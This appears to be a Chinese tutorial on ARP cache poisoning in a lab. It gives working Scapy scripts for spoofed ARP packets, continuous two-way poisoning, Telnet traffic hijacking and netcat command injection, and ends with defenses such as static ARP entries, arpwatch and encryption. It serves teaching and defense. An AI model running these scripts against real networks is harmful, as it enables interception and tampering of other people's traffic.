1. ARP协议与缓存投毒原理剖析
ARP(Address Resolution Protocol)是局域网通信的基础协议,它的作用就像现实生活中的电话簿,负责将IP地址转换成对应的MAC地址。每台设备都维护着一个ARP缓存表,记录着最近通信过的设备信息。这个机制本是为了提高通信效率,但却成为了攻击者的突破口。
ARP协议的工作流程很简单:当主机A需要与主机B通信时,会先查询本地ARP缓存。如果找不到对应条目,就会广播一个ARP请求:"谁的IP是192.168.1.2?请告诉192.168.1.1"。目标主机收到后会单播回复:"我是192.168.1.2,我的MAC是xx:xx:xx:xx:xx"。这个过程没有任何身份验证机制,就像在大街上随便问个人"你是张三吗",只要对方说"是",你就会相信。
ARP缓存投毒就是利用这个缺陷。攻击者可以伪造ARP响应包,告诉受害者:"我是网关,我的MAC是攻击者的MAC"。这样受害者就会把本该发给网关的数据都发给攻击者。我在实验室环境中做过测试,一个简单的ARP欺骗包就能让目标主机在毫秒级更新缓存。
用Scapy构造ARP包特别简单,核心字段就这几个:
- op:1表示请求,2表示响应
- psrc/pdst:源/目标IP
- hwsrc/hwdst:源/目标MAC
比如构造一个欺骗包:
from scapy.all import * pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=2, psrc="192.168.1.1", # 假装是网关 pdst="192.168.1.100", # 目标主机 hwsrc="00:11:22:33:44:55" # 攻击者MAC ) sendp(pkt)2. 实战ARP缓存投毒的三重奏
2.1 普通ARP请求攻击
这是最基础的攻击方式。攻击者发送ARP请求包,在包中声明"我是网关"。虽然ARP请求本应是询问而非声明,但很多系统会不假思索地更新缓存。实测发现Windows 10和部分Linux发行版会中招。
攻击代码:
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=1, # 请求包 psrc="192.168.1.1", pdst="192.168.1.100", hwsrc="00:11:22:33:44:55" )但这种攻击有个致命弱点:如果目标缓存中已有正确条目,攻击成功率会大幅下降。我在测试中发现成功率不足30%,因为系统会优先相信已有的缓存。
2.2 ARP响应包攻击
相比请求包,响应包更具欺骗性。攻击者主动告诉目标:"网关的MAC更新了"。代码只需将op改为2:
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=2, # 响应包 psrc="192.168.1.1", pdst="192.168.1.100", hwsrc="00:11:22:33:44:55" )但这里有个有趣现象:如果目标根本没有查询过这个IP,攻击反而会失败。因为系统会觉得"我又没问你,你干嘛告诉我"。这就像突然有人打电话跟你说"我是快递员",但你根本没网购,自然会产生怀疑。
2.3 免费ARP攻击
这是最阴险的一招。免费ARP本是用于IP冲突检测的,攻击者广播声明:"我是我自己",但把MAC改成攻击者的:
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=1, psrc="192.168.1.1", pdst="192.168.1.1", # 源目IP相同 hwsrc="00:11:22:33:44:55" )这种攻击对已有缓存的目标特别有效,因为系统会认为这是正常的地址更新。我的测试显示成功率高达95%以上。但要注意,如果目标没有该IP的缓存,攻击同样会失效。
3. 搭建中间人攻击实战环境
3.1 实验环境配置
建议使用三台虚拟机:
- 攻击机(Kali Linux):运行Scapy脚本
- 受害机A(Windows 10):安装Wireshark观察流量
- 受害机B(Ubuntu):运行telnet/netcat服务
网络配置要点:
- 所有机器在同一局域网段(如192.168.1.0/24)
- 关闭防火墙和SELinux
- 在攻击机上启用IP转发:
echo 1 > /proc/sys/net/ipv4/ip_forward3.2 双向ARP欺骗
要让中间人攻击持久生效,需要同时欺骗通信双方:
from time import sleep def arp_poison(): while True: # 告诉A,攻击者是B sendp(Ether()/ARP(op=2, psrc="192.168.1.2", pdst="192.168.1.100", hwsrc="00:11:22:33:44:55")) # 告诉B,攻击者是A sendp(Ether()/ARP(op=2, psrc="192.168.1.100", pdst="192.168.1.2", hwsrc="00:11:22:33:44:55")) sleep(5) # 每5秒刷新一次这个脚本需要持续运行,因为ARP缓存会定期更新(通常2-5分钟)。我在测试中发现,间隔时间太短会导致网络拥塞,太长又会让攻击失效,5秒是个不错的平衡点。
4. 实时流量劫持与篡改
4.1 Telnet会话劫持
Telnet是明文协议,特别适合演示中间人攻击。攻击流程:
- 建立双向ARP欺骗
- 启用IP转发让通信建立
- 嗅探并修改流量
关键代码:
def spoof_pkt(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): # 修改A->B的流量 if pkt[IP].src == "192.168.1.100" and pkt[IP].dst == "192.168.1.2": data = pkt[TCP].payload.load newdata = data.replace(b"ls", b"xx") # 把ls命令替换成xx newpkt = pkt[IP]/pkt[TCP]/Raw(load=newdata) del newpkt[IP].chksum del newpkt[TCP].chksum send(newpkt, verbose=0) # 原样转发B->A的流量 elif pkt[IP].src == "192.168.1.2" and pkt[IP].dst == "192.168.1.100": send(pkt, verbose=0) sniff(filter="tcp port 23", prn=spoof_pkt)4.2 Netcat会话注入
Netcat常用于文件传输,攻击者可以注入额外命令:
if b"password" in data: newdata = data + b"\n echo 'Hacked!' > /tmp/pwned\n"我在测试中发现一个坑:TCP序列号必须严格匹配。如果修改后的包长度变化太大,会导致连接中断。解决方法是在payload中保持长度一致,比如用空格填充。
5. 防御措施与检测方法
5.1 静态ARP绑定
最有效的防御是在关键设备上设置静态ARP条目:
arp -s 192.168.1.1 00:11:22:33:44:66但维护成本很高,适合网关等固定设备。
5.2 ARP监控工具
推荐两个实用工具:
- arpwatch:记录ARP变化并报警
- XArp:图形化显示ARP异常
5.3 网络隔离
划分VLAN可以限制ARP广播范围。比如把财务部和普通员工隔离开,这样即使有ARP欺骗,影响范围也有限。
5.4 加密通信
使用SSH代替Telnet,HTTPS代替HTTP。即使流量被劫持,攻击者也无法解密内容。我在内网渗透测试时发现,加密通道能让90%的中间人攻击失效。